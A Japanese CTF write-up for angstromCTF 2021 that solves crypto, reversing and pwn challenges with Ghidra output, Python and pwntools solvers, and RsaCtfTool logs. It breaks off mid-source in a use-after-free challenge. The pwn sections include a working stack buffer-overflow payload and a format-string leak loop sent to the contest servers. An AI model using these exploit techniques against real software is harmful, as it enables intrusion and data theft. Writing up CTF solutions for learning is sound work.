angstromctf 21 writeup
人力パスワードGuessでHatenaにログインできた記念。 ちょっと前のやつだけどせっかく解いたので供養。
archaic
降ってきた.tar.gz解凍したらフラグが生えた。よくわからない
flag: actf{thou_hast_uncovered_ye_ol_fleg}
fish
画像が降ってくる。gimpでalphaを0にしたらフラグが生えた。
hello rolled crypto
いわゆるオレオレ3段階Block暗号を解く問題。 適当な入力とその暗号文のペアとFlagの暗号文を得ることができる。
各段階は16bytesずつ行われる。
P := 入力
Kn := n段階目の鍵
On := n段階目の出力
と定義すると、一連の暗号化処理は
O1 = (K1 & P) ^ K1
O2 = (K2 & O1) ^ K2
O3 = (K3 & O2) ^ K3
となり、O3が出力される。
与えられたプログラムから任意のP対応するO3を得ることができ、 プログラムから提示されたPに対してO3を求めることができればflagを得ることができる。
各段階に注目すると、 入力が0のとき、
(Kn & 0) ^ Kn = 0 ^ Kn = Kn
となり鍵がそのまま出力される。
入力が1のとき、
(Kn & 1) ^ Kn = Kn ^ Kn = 0
となり、出力は鍵の値にかかわらず0となる。
演算の分配法則に注目して
P = 1 のとき
O1 = 0
O2 = 0 ^ K2 = K2
O3 = (K2 & K3) ^ K3
P = 0のとき O1 = K1
O2 = (K2 & K1) ^ K2
O3 = (((K2 & K1) ^ K2) & K3) ^ K3 = (K2&K1&K3) ^ (K2&K3) ^ K3
P = p(任意入力) のとき
O1 = (K1 & P) ^ K1
O2 = (K2 & *1 ^ K2 = (P & K1 & K2) ^ (K2 & K1 ^ K2) = (P & K1 & K2) ^ O3_1
O3 = (K3 & *2 ^ K2)) ^ K3 = P & (O3_1 ^ O3_0) ^ (O3_1 ^ O3_0) ^ O3_1
となる。
式からP=0とP=1のときの出力が既知のとき、入力Pに対する出力を求めることができる。
以上をコードに落とし込む。
import binascii BLOCK_SIZE = 16 e1 = input("e1 = ") e2 = input("e2 = ") e1 = binascii.unhexlify(e1) e2 = binascii.unhexlify(e2) while True: p = input("p = ") p = binascii.unhexlify(p) e = "" for i in range(4): e1_block = int.from_bytes(e1[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big') e2_block = int.from_bytes(e2[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big') p_block = int.from_bytes(p[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big') tmp = (p_block & (e1_block ^ e2_block)) ^ (e1_block ^ e2_block) ^ e1_block e += hex(tmp)[2:].rjust(BLOCK_SIZE*2, "0") print(e) print(e.encode().decode()[:64])
test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/home_rolled_crypto$ nc crypto.2021.chall.actf.co 21602 Would you like to encrypt [1], or try encrypting [2]? 1 What would you like to encrypt: FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 0a88688080607f86d4a80441208058880a88688080607f86d4a8044120805888 Would you like to encrypt [1], or try encrypting [2]? 1 What would you like to encrypt: 0000000000000000000000000000000000000000000000000000000000000000 0a996a8881607f97d4a82451a0805c8c0a996a8881607f97d4a82451a0805c8c Would you like to encrypt [1], or try encrypting [2]? 2 Encrypt this: 9de09624ef91cff82467c056af3ba058a66ce8b55c7562e7e41c7648e8c5e082 0a99688880607f87d4a8244120805c8c0a996a8881607f96d4a8045120805c8c Encrypt this: d60e987f388d550eb938c9c7f52a4bce502219964b7edce094833737260c3ff7 0a996a8081607f97d4a8245120805c880a996a8880607f97d4a80441a0805888 Encrypt this: f0f9bc57cdd3e82fcaa17eb493913ffd6e8aad6f224b81806ca6026d01a3c80d 0a886a8880607f96d4a80441208058880a996a8081607f97d4a82451a0805c88 Encrypt this: aeccf065ef3a17dca45fde55b2c3096257592aa6db4334c844187b0eb4de01c3 0a996a8880607f87d4a8244120805c8c0a88688880607f97d4a8045120805c8c Encrypt this: cec22dd3934caf5e6b754795e1a8c9de273fcacc90397948889a310767c265da 0a996a8880607f87d4a8244120805c880a88688081607f97d4a80451a080588c Encrypt this: 1143f0cbb5c882c5437bd692f21cb1234b66ed546fb6c3717b91ac14dd9cf32d 0a986a8080607f96d4a8244120805c8c0a996a8880607f86d4a8044120805c88 Encrypt this: 308d1c7689cc8b2818614a55470fb9a9275a8f1c23b581ced345a110eb5901f3 0a986a8880607f97d4a82441a0805c8c0a89688080607f97d4a8044120805c8c Encrypt this: bc01d1d2f2c0df3c3a40671adfd82c78248f6bcb26f9f3519e573dc80d71d108 0a986a8881607f87d4a804412080588c0a98688081607f86d4a80451a0805c8c Encrypt this: d434733ac36c5a176654b7b00c523f368e29fb4e6ee4c7f05f14c2cf92a117e1 0a89688080607f86d4a80441a08058880a98688081607f87d4a824512080588c Encrypt this: 6bceb795e51bb83aabc5dc663a5d0aa61c3bc2553590d28c141e203c9fe3cdc1 0a99688880607f87d4a82451a0805c880a88688880607f97d4a804412080588c W actf{no_bit_shuffling_is_trivial} Would you like to encrypt [1], or try encrypting [2]? quit Bye
inifinity gauntlet
elfバイナリが降ってくる。ghidraに放り込んだ結果がこちら。
undefined8 main(void) { int iVar1; int iVar2; uint uVar3; int iVar4; FILE *__stream; size_t sVar5; time_t tVar6; undefined8 uVar7; byte bVar8; uint uVar9; uint uVar10; byte *__s; ulong uVar11; ulong uVar12; uint uVar13; long in_FS_OFFSET; uint local_14c; byte local_148 [264]; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { puts("Couldn\'t find a flag file."); uVar7 = 1; } else { __s = local_148; fgets((char *)__s,0x100,__stream); fclose(__stream); sVar5 = strcspn((char *)__s,"\n"); iVar1 = (int)sVar5; local_148[iVar1] = 0; if (iVar1 != 0) { bVar8 = 0; do { *__s = *__s ^ bVar8; bVar8 = bVar8 + 0x11; __s = __s + 1; } while (bVar8 != (byte)((char)sVar5 * '\x11')); } uVar13 = 1; tVar6 = time((time_t *)0x0); srand((uint)tVar6); puts("Welcome to the infinity gauntlet!"); puts("If you complete the gauntlet, you\'ll get the flag!"); while( true ) { printf("=== ROUND %d ===\n",(ulong)uVar13); iVar2 = rand(); if ((int)uVar13 < 0x32) { iVar2 = rand(); uVar9 = (uint)(iVar2 >> 0x1f) >> 0x10; uVar9 = (iVar2 + uVar9 & 0xffff) - uVar9; } else { uVar9 = (iVar2 % iVar1 + uVar13 & 0xff) << 8 | (uint)local_148[iVar2 % iVar1]; } uVar3 = rand(); if ((uVar3 & 1) == 0) { uVar3 = rand(); if ((uVar3 & 3) == 0) { iVar2 = rand(); iVar4 = rand(); printf("bar(?, %u, %u) = %u\n",(ulong)(uint)(iVar2 % 0x539),(ulong)(uint)(iVar4 % 0x539), (ulong)((iVar4 % 0x539 + 1U) * (iVar2 % 0x539) + uVar9)); } else { uVar10 = (uint)((int)uVar3 >> 0x1f) >> 0x1e; iVar2 = (uVar3 + uVar10 & 3) - uVar10; if (iVar2 == 1) { iVar2 = rand(); uVar11 = (long)iVar2 % 0x539 & 0xffffffff; iVar2 = rand(); uVar12 = (long)iVar2 % 0x539 & 0xffffffff; printf("bar(%u, ?, %u) = %u\n",uVar11,uVar12, (ulong)(((int)uVar12 + 1) * uVar9 + (int)uVar11)); } else { if (iVar2 == 2) { iVar2 = rand(); uVar11 = (long)iVar2 % 0x539 & 0xffffffff; iVar2 = rand(); uVar12 = (long)iVar2 % 0x539 & 0xffffffff; printf("bar(%u, %u, ?) = %u\n",uVar11,uVar12, (ulong)((uVar9 + 1) * (int)uVar12 + (int)uVar11)); } else { if (uVar9 < 0x53a) { uVar3 = rand(); uVar3 = uVar3 % uVar9; } else { iVar2 = rand(); uVar3 = iVar2 % 0x539; } printf("bar(%u, %u, %u) = ?\n",(ulong)uVar9 % (ulong)uVar3,(ulong)uVar3, (ulong)(uVar9 / uVar3 - 1)); } } } } else { iVar2 = rand(); if (iVar2 % 3 == 0) { iVar2 = rand(); printf("foo(?, %u) = %u\n",(ulong)(uint)(iVar2 % 0x539), (ulong)(iVar2 % 0x539 + 1U ^ uVar9 ^ 0x539)); } else { if (iVar2 % 3 == 1) { iVar2 = rand(); printf("foo(%u, ?) = %u\n",(ulong)(uint)(iVar2 % 0x539), (ulong)(uVar9 + 1 ^ iVar2 % 0x539 ^ 0x539)); } else { iVar2 = rand(); printf("foo(%u, %u) = ?\n",(ulong)(iVar2 % 0x539 + 1U ^ uVar9 ^ 0x539), (ulong)(uint)(iVar2 % 0x539)); } } } __isoc99_scanf("%u",&local_14c); if (local_14c != uVar9) break; uVar13 = uVar13 + 1; printf("Correct! Maybe round %d will get you the flag ;)\n",(ulong)uVar13); } puts("Wrong!"); uVar7 = 0; } if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar7; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
ひたすら数字を計算されることを要求される。 0x32回以降、flagの値を用いて数字が計算されるので逆算する。
計算によって求めた値の上位4バイトはindexに、下位4バイトは文字になるので 手元で組み直す。
import pwn import re from time import sleep import json i_l = list(range(256)) def process_for_bar(eq): eq = eq.decode() if 'foo' in eq: m = re.match('foo\(([\d|\?]+), ([\d|\?]+)\) = ([\d|\?]+)\n', eq) if m: A, B, C = m.groups() if A == "?": return 0x539 ^ int(C) ^ (int(B) + 1) if B == "?": return (int(A)^int(C)^0x539) -1 if C == "?": return int(A) ^ 0x539 ^ (int(B)+1) if 'bar' in eq: m = re.match('bar\(([\d|\?]+), ([\d|\?]+), ([\d|\?]+)\) = ([\d|\?]+)\n', eq) if m: A, B, C, D = m.groups() if A == "?": return int(D) - (int(B) * (int(C)+1)) if B == "?": return (int(D) - int(A)) / (int(C)+1) if C == "?": return ((int(D) - int(A)) / int(B)) - 1 if D == "?": return ((int(C)+1) * int(B)) + int(A) return None #io = pwn.process('./infinity_gauntlet', stdin=pwn.PIPE) io = pwn.remote("shell.actf.co", 21700) print(io.recvline()) # Welcome~ print(io.recvline()) # If ~ with open("server_flag.json") as f: dat = f.read() flag = json.loads(dat) while True: io.can_recv(10) round_check = io.recvline() # ROUND ~ print(round_check) m = re.match('=== ROUND (\d+) ===\n', round_check.decode()) round_number = int(m.groups()[0]) io.can_recv(10) eq = io.recvline() print(eq) randvalue = int(process_for_bar(eq)) send = str(int(randvalue)) + "\n" if send: print(send) io.send(send.encode()) else: io.interactive() io.can_recv(10) print(io.recvline()) if round_number > 0x32: index = i_l[((randvalue & (0xff<<8)) >> 8) - (round_number&0xff)] char = (randvalue & 0xff) ^ i_l[(0x11*index)%256] flag[index] = chr(char) p = sorted(flag.items(), key=lambda x:int(x[0])) print("".join([c for i, c in p])) #with open("server_flag.json", "w") as f: #f.write(json.dumps(flag)) sleep(0.2)
logは長いので省略。
flag: actf{snapped_away_the_end}
exclusive sipher
xorで暗号化されたフラッグが渡される。 問題文に鍵長が5バイトだと書いてる。 フラッグの頭はactf{で始まるのでそれを用いて鍵を復元して残りも復元する。
import binascii import itertools C = bytes.fromhex('ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d21822 7e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c') b = b"actf{" for i in range(len(C)-5): key = [] key.append(C[i]^b[0]) key.append(C[i+1]^b[1]) key.append(C[i+2]^b[2]) key.append(C[i+3]^b[3]) key.append(C[i+4]^b[4]) counter = 0 p = [] for c in C[i:]: p.append(key[counter] ^c) counter +=1 if counter==5: counter = 0 print("".join(map(chr, p)))
本当は復元した文字列がasciiかどうかで仕分けるべきなのだろうけど、量が少ないので目grepでフラッグを見つける。
flag: actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!
dysfunctional
やたら読みにくい暗号化処理が行われているelfとそれを用いてflagを暗号化したものとkey tableと思われるバイナリが降ってくる。 気合で読んで行われてる暗号化と復号化をpythonにしたものがこちら。
import pdb; import struct lookup_table = open("not_flag", "rb").read() def encrypt1(arg): arg1 = arg&0x0000ffff tmp1 = arg1^0xbeef tmp2 = tmp1 * 2 tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0] tmp4 = arg >> 0x10 tmp5 = tmp4 ^ 0xbeef tmp6 = tmp5 * 2 tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0] tmp8 = tmp7 << 0x10 tmp9 = tmp8 + tmp3 tmp10 = tmp9 ^ 0xdead return tmp10 def encrypt2(arg): tmp1 = arg & 0x0000ffff tmp2 = 0xcafe ^ tmp1 tmp3 = tmp2 * 2 tmp4 = struct.unpack('l', lookup_table[tmp3:tmp3+2] + b'\x00'*6)[0] tmp5 = arg >> 0x10 tmp6 = tmp5 ^ 0xcafe tmp7 = tmp6 * 2 tmp8 = struct.unpack('l', lookup_table[tmp7:tmp7+2] + b'\x00'*6)[0] tmp9 = tmp8 << 0x10 tmp10 = tmp9+tmp4 tmp11 = tmp10 ^ 0x1337 return tmp11 def encrypt3(arg): arg1 = arg&0x0000ffff tmp1 = arg1^0xcafe tmp2 = tmp1 * 2 tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0] tmp4 = arg >> 0x10 tmp5 = tmp4 ^ 0xcafe tmp6 = tmp5 * 2 tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0] tmp8 = tmp7 << 0x10 tmp9 = tmp8 + tmp3 tmp10 = tmp9 ^ 0x1337 return tmp10 def encrypt4(arg): arg1 = arg&0x0000ffff tmp1 = arg1^0xbeef tmp2 = tmp1 * 2 tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0] tmp4 = arg >> 0x10 tmp5 = tmp4 ^ 0xbeef tmp6 = tmp5 * 2 tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0] tmp8 = tmp7 << 0x10 tmp9 = tmp8 + tmp3 tmp10 = tmp9 ^ 0xdead return tmp10 def reverse_index(c): bstr = struct.pack('l', c)[0:2] index = -1 while True: index = lookup_table.find(bstr, index+1) if index%2==0: break elif index==-1: raise tmp = int(index / 2) return tmp def solv(): enc = [0x5400f172, 0x949c5165, 0xc6bc4607, 0xc621d63f, 0xc20c0970, 0xf2b3f53c, 0xaabb67f9, 0xfe0e7abb, 0x6ae46e55, 0xdd212d25, 0xfb681ccb, 0x2ef2f900, 0x75dbefc4, 0xa4e3a8dd, 0x3c6ad4ea, 0x2fa95919, 0x4e6d7b4 4, 0xb66bacf2, 0xa0b7b0a3, 0xee57fd81, 0x452a0ba4, 0xa05d8829, 0x5911680, 0x439efce, 0x75346c63, 0xe2e8d40c, 0x82551eb7, 0x15f70f1, 0x3365c553, 0x4d88f5f1, 0x1ea5b8ab, 0xfaa1a4ae, 0x91567996, 0x13d89930, 0x6b159c 81, 0x35779a3c, 0x5d8573aa, 0x75908ec, 0xb902a84, 0x1501d8a0] ret = [] for c in enc: c = c & 0x0000ffff # decrypt4 c = c ^ 0xdead c = reverse_index(c) c = c ^ 0xbeef # decrypt3 c = c ^ 0x1337 c = reverse_index(c) c = c ^ 0xcafe # decrypt2 c = c ^ 0x1337 c = reverse_index(c) c = c ^ 0xcafe # decrypt1 c = c ^ 0xdead c = reverse_index(c) c = c ^ 0xbeef print(c) ret.append(c) return ret p = solv() buf = [] for i in p: buf.append(chr(i&0x00ff)) print("".join(buf))
書き捨てクソコードだけどデバッガー見ながら直していったものだからセーフ
flag: actf{but_wh4t_4b0ut_0bj3ct_d1s0r13nt3d}
sosig
n,e,cが示されたRSA暗号の復号問題。
RsaCtfToolなる便利なものがあったので今回はそれを使った。
もう紙と鉛筆で証明をなぞりながらコードを書かなくていいらしい
$ ./RsaCtfTool.py -n 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853 -e 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799 --uncipher 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227 private argument is not set, the private key will not be displayed, even if recovered. [*] Testing key /tmp/tmpelg2fpyy. [*] Performing smallq attack on /tmp/tmpelg2fpyy. [*] Performing system_primes_gcd attack on /tmp/tmpelg2fpyy. 100%|███████████████████████████████████████████████████████████████████████████████████████| 2353/2353 [00:00<00:00, 411971.84it/s] [*] Performing factordb attack on /tmp/tmpelg2fpyy. [*] Performing mersenne_primes attack on /tmp/tmpelg2fpyy. 100%|███████████████████████████████████████████████████████████████████████████████████████████████| 51/51 [00:01<00:00, 29.90it/s] [*] Performing pastctfprimes attack on /tmp/tmpelg2fpyy. 100%|█████████████████████████████████████████████████████████████████████████████████████████| 113/113 [00:00<00:00, 539813.61it/s] [*] Performing fibonacci_gcd attack on /tmp/tmpelg2fpyy. 100%|████████████████████████████████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 70188.07it/s] [*] Performing ecm2 attack on /tmp/tmpelg2fpyy. Can't load ecm2 because sage is not installed [*] Performing siqs attack on /tmp/tmpelg2fpyy. [!] Warning: Modulus too large for SIQS attack module [*] Performing small_crt_exp attack on /tmp/tmpelg2fpyy. Can't load small_crt_exp because sage is not installed [*] Performing mersenne_pm1_gcd attack on /tmp/tmpelg2fpyy. 100%|████████████████████████████████████████████████████████████████████████████████████████| 2044/2044 [00:00<00:00, 55714.71it/s] [*] Performing qicheng attack on /tmp/tmpelg2fpyy. Can't load qicheng because sage is not installed [*] Performing noveltyprimes attack on /tmp/tmpelg2fpyy. 100%|███████████████████████████████████████████████████████████████████████████████████████████| 21/21 [00:00<00:00, 281406.98it/s] [*] Performing fermat attack on /tmp/tmpelg2fpyy. [!] Timeout. [*] Performing primorial_pm1_gcd attack on /tmp/tmpelg2fpyy. 100%|██████████████████████████████████████████████████████████████████████████████████████| 10000/10000 [00:00<00:00, 10912.27it/s] [*] Performing comfact_cn attack on /tmp/tmpelg2fpyy. [*] Performing partial_q attack on /tmp/tmpelg2fpyy. [*] Performing boneh_durfee attack on /tmp/tmpelg2fpyy. Can't load boneh_durfee because sage is not installed [*] Performing z3_solver attack on /tmp/tmpelg2fpyy. [*] Performing wiener attack on /tmp/tmpelg2fpyy. 100%|███████████████████████████████████████████████████████████████████████████████████████████| 655/655 [00:00<00:00, 2046.33it/s] 6%|█████▉ | 42/655 [00:00<00:00, 2870.70it/s] [*] Attack success with wiener method ! Results for /tmp/tmpelg2fpyy: Unciphered data : HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616374667b643067677921212131313121317d INT (big endian) : 2171836009541217697584158264673348205034942845 INT (little endian) : 15804014857499183980308679242095643171069528060658942625459961461717500461321378097384874659881191587123315225642911346865877242121610766505562929845580249984395417349928887270944923939737203099604976310091812426728725058756632226038287167697818264770875310702907936299194262488462801486201339410530135369171982105705188575604110988131140122006945055970544653009018942480390380677878622404476939741797268383599786512324973927405445548179730199434746451059943564348186920026153649872419306398034949296512870300598600090343334055930875874861749823555478892475109584363957881933030703932371890176752754830060562426101760 STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00actf{d0ggy!!!111!1}'
flag: actf{d0ggy!!!111!1}
FREE FLAGS!!1!!
読むだけ。 ghidraでデコンパイルしたもの。
undefined4 main(void) { int iVar1; size_t sVar2; long in_FS_OFFSET; undefined4 local_128; int local_124; int local_120; int local_11c; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!"); puts("What number am I thinking of???"); __isoc99_scanf("%d",&local_11c); if (local_11c == 0x7a69) { puts("What two numbers am I thinking of???"); __isoc99_scanf("%d %d",&local_120,&local_124); if ((local_120 + local_124 == 0x476) && (local_120 * local_124 == 0x49f59)) { puts("What animal am I thinking of???"); __isoc99_scanf(" %256s",local_118); sVar2 = strcspn(local_118,"\n"); local_118[sVar2] = '\0'; iVar1 = strcmp(local_118,"banana"); if (iVar1 == 0) { puts("Wow!!! Now I can sell your information to the Russian government!!!"); puts("Oh yeah, here\'s the FREE FLAG:"); print_flag(); local_128 = 0; } else { puts("Wrong >:(((("); local_128 = 1; } } else { puts("Wrong >:(((("); local_128 = 1; } } else { puts("Wrong >:(((("); local_128 = 1; } if (*(long *)(in_FS_OFFSET + 0x28) == local_10) { return local_128; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
31337 419, 723 banana と入力すればいい。
flag: どっかいった。
revex
String.prototype.match() - JavaScript | MDN
このページでひたすら試行錯誤しながら戻した記憶。 最終結果は次の通り。
const paragraph = 'actf{reGEx_1s_b3stEx_qzuy}'; const regex = /^(?=.*re)(?=.{21}[^_]{4}\}$)(?=.{14}b[^_]{2})(?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])(?=.{7}G(?<pepega>..).{7}t\k<pepega>)(?=.*u[^z].$)(?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)(?=.*_.{2}_)(?=actf\{)(?=.{21}[p-t])(?=.*1.*3)(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))(?=.*Ex)/g; //const regex = /^(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))/g const found = paragraph.match(regex); console.log(found); // expected output: Array ["T", "I"] // > Array [""]
flag: actf{reGEx_1s_b3stEx_qzuy}
keysar_v2
いわゆる単一換え字暗号問題。
このサイトでちまちま頑張った記憶。 スクショが残ってたのでぺたり。
relatively simple algorithm
rsa暗号問題。RsaCtfToolなしでは生きていけない
test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/relatively_simple_algorithm/RsaCtfTool$ ./RsaCtfTool.py -n 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223 -p 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369 -q 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567 -e 65537 --uncipher 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432 private argument is not set, the private key will not be displayed, even if recovered. Results for /tmp/tmpliu_y24a: Unciphered data : HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616374667b6f6c645f6275745f7374696c6c5f676f6f645f77656c6c5f61745f6c656173745f756e74696c5f7175616e74756d5f636f6d707574696e677d INT (big endian) : 77829732531886017666421465369706368622254927240332446949265849761777437379574153694975519245766808162296991738636674224619780544798026515410227980157 INT (little endian) : 88061703563610236827293861387910631235184407060684255250239921424433867451178990271277509511415248037435547120683547251281518208022599015192064594968868869852975927930713707299622083406207929929552904520884976584976308120690754751939928170923371232929844023743607981605290539913295411374645437736997756076032 STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00actf{old_but_still_good_well_at_least_until_quantum_computing}'
flag: actf{old_but_still_good_well_at_least_until_quantum_computing}
tranquil
シンプルなバッファーオーバーフロー問題。vuln関数に脆弱性がある。 カナリーなし、no PIEなので何も考えなくて良い。 flagを出してくれるwin関数を呼べば良い。
[*] '/home/test/angstromctf21/tranquil/tranquil' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
int win(){ char flag[128]; FILE *file = fopen("flag.txt","r"); if (!file) { printf("Missing flag.txt. Contact an admin if you see this on remote."); exit(1); } fgets(flag, 128, file); puts(flag); } int vuln(){ char password[64]; puts("Enter the secret word: "); gets(&password); if(strcmp(password, "password123") == 0){ puts("Logged in! The flag is somewhere else though..."); } else { puts("Login failed!"); } return 0; }
test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/keysar_v2$echo -n -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11\x40\x00\x00\x00\x00\x00\n" | nc shell.actf.co 21830 Enter the secret word: Login failed! actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}
flag: actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}
stickystacks
stack上に確保された領域にflagが読み出されているので、それをリークさせる問題。
typedef struct Secrets { char secret1[50]; char password[50]; char birthday[50]; char ssn[50]; char flag[128]; } Secrets; int vuln(){ char name[7]; Secrets boshsecrets = { .secret1 = "CTFs are fun!", .password= "password123", .birthday = "1/1/1970", .ssn = "123-456-7890", }; FILE *f = fopen("flag.txt","r"); if (!f) { printf("Missing flag.txt. Contact an admin if you see this on remote."); exit(1); } fgets(&(boshsecrets.flag), 128, f); puts("Name: "); fgets(name, 6, stdin); printf("Welcome, "); printf(name); printf("\n"); return 0; }
当時の残骸を貼っとく。
#!/bin/bash let num ((num = 30)) while : do ((num++)) echo -n -e "%$num\$p\n\n\n" | nc shell.actf.co 21820 sleep 1; done
b = [0x6c65777b66746361, 0x61625f6d27695f6c, 0x6c625f6e695f6b63, 0x5f7365795f6b6361, 0x6b6361625f6d2769, 0x5f6568745f6e695f, 0x65625f6b63617473, 0x3439323135623963, 0x3438363737646165, 0xa7d333935663161,] ret = b'' import struct for i in b: ret += struct.pack('q', i) print(ret)
flag: actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}
PAWN
use after free問題。とても楽しく糞コードを書いた問題。
他のwriteupをみる限り__malloc_hookをゴニョゴニョするのが王道らしいが、血迷った解法でなんとかなったので書き残しとく。
チェスっぽいプログラムが降ってくる。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #define tiles 8 #define bc 5 // who needs good code when you have macro spam // also gotta parenthesize everything just in case // also I apologize to anyone trying to understand my code #define PEQ(A, B, C, D) (((A) == (C) && (B) == (D)) || ((A) == (D) && (B) == (C))) #define PEQS(A, B, C, D) ((A) == (C) && (B) == (D)) #define ABS(A) (((A) < 0) ? -(A) : (A)) #define MIN(A, B) (((A) < (B)) ? (A) : (B)) #define MAX(A, B) (((A) > (B)) ? (A) : (B)) #define ITER(A, B, C) for (int C = MIN(A, B); C < MAX(A, B); C++) #define RETI(A, B, C) for (int C = MAX(A, B); C > MIN(A, B); C--) #define ITEREQ(A, B, C) for (int C = MIN(A, B); C <= MAX(A, B); C++) #define RETIEQ(A, B, C) for (int C = MAX(A, B); C >= MIN(A, B); C--) #define ITERNEQ(A, 